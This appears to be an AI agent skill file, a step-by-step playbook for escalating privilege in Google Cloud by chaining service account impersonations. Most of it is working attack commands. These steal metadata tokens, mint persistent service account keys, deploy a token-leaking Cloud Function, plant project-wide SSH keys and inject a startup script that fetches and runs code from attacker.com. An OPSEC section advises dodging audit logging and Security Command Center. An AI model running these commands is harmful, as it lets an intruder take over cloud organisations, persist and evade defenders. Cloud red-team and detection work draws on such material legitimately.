gcp-svc-account-impersonation

name	gcp-svc-account-impersonation
description	GCP service account impersonation chain — IAM `roles/iam.serviceAccountTokenCreator`, `roles/iam.serviceAccountUser`, `actAs` on Cloud Functions / Cloud Run / Compute Engine. Pivot from low-priv SA to org-admin via chained impersonation.
allowed-tools	Bash Read Write
metadata	{"when_to_use":"gcp google cloud service account impersonation token creator actAs roles/iam compute cloud functions cloud run workload identity","subdomain":"cloud","tags":"gcp, iam, service-account, privilege-escalation","mitre_attack":"T1078.004, T1098, T1550.001"}

GCP Service Account Impersonation

You have a GCP token (compromised VM metadata, leaked service account key, gcloud SDK). Find the impersonation chain to higher privilege.

Steal the token

From GCE / GKE / Cloud Run / Functions

TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  | jq -r .access_token)

# All service accounts on the VM:
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"

From a leaked key.json

gcloud auth activate-service-account --key-file=key.json
TOKEN=$(gcloud auth print-access-token)

Phase 1: Enumerate current permissions

# Which projects are you in?
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq -r '.projects[].projectId'

# What can you do in a project?
PROJECT=$(gcloud config get-value project)
gcloud projects test-iam-permissions "$PROJECT" \
  --permissions=$(curl -s https://iam.googleapis.com/v1/permissions:queryTestablePermissions -X POST -H "Authorization: Bearer $TOKEN" -d "{\"fullResourceName\":\"//cloudresourcemanager.googleapis.com/projects/$PROJECT\"}" | jq -r '.permissions[].name' | tr '\n' ',' | sed 's/,$//')

# Or use the bucket-list shortcut (most SAs can list):
gcloud projects get-iam-policy "$PROJECT" --format=json | jq '.bindings[]'

Phase 2: Impersonation primitives

roles/iam.serviceAccountTokenCreator

If you have iam.serviceAccounts.getAccessToken on a higher-priv SA:

gcloud auth print-access-token --impersonate-service-account=[e-mail]
# OR raw:
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"scope":["https://www.googleapis.com/auth/cloud-platform"]}' \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/[e-mail]:generateAccessToken" \
  | jq -r .accessToken

iam.serviceAccountKeys.create

Mint a permanent JSON key for any SA you can act-on:

gcloud iam service-accounts keys create /tmp/k.json \
  --iam-account=[e-mail]
# Long-lived credential — survives token rotation.

cloudfunctions.functions.update + actAs

Deploy a function that runs AS a more-priv SA:

mkdir fn && cat > fn/main.py <<'EOF'
def pwn(request):
    import subprocess
    out = subprocess.check_output("curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", shell=True)
    return out
EOF
echo "" > fn/requirements.txt
gcloud functions deploy pwn --source=fn --runtime=python311 --trigger-http --allow-unauthenticated \
  --service-account=[e-mail] --entry-point=pwn
# Then HTTP-call it to get the higher-priv token

compute.instances.setMetadata

Inject a startup-script that runs as the VM's SA on next boot:

gcloud compute instances add-metadata target-vm --zone=us-central1-a \
  --metadata=startup-script='curl -fsSL https://attacker.com/x.sh | bash'
gcloud compute instances reset target-vm --zone=us-central1-a

compute.projects.setCommonInstanceMetadata

Project-wide metadata = SSH key on every VM in the project:

ssh-keygen -t ed25519 -f ./pwn -N ''
gcloud compute project-info add-metadata --metadata=ssh-keys="root:$(cat pwn.pub)"

Phase 3: Cross-project pivot

# If your token has `resourcemanager.organizations.get`, you can see the org tree
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/organizations" | jq .

# Find SAs with cross-project bindings
for p in $(gcloud projects list --format='value(projectId)'); do
  echo "=== $p ==="
  gcloud projects get-iam-policy "$p" --format=json | jq -r '.bindings[] | "\(.role): \(.members | join(","))"'
done

OPSEC

• Every IAM call logs to Cloud Audit Logs. SetMetadata + Reset is loud — prefer ImpersonateSA when possible.
• Token TTL 60min. Refresh from the same IMDS endpoint (no log) vs. requesting a new SA token (logged).
• Key creation creates a Cloud Audit google.iam.admin.v1.CreateServiceAccountKey event — high-fidelity detection.
• GCP Security Command Center flags startup-script changes — for evasion, set metadata on a service NOT under SCC monitoring.

References

• gcp_enum / GCP IAM Privilege Escalation by RhinoSecurityLabs
• "Big GCP IAM Privilege Escalation List" — Praetorian
• DEFCON 27 "Privilege Escalation in GCP" — Spencer Gietzen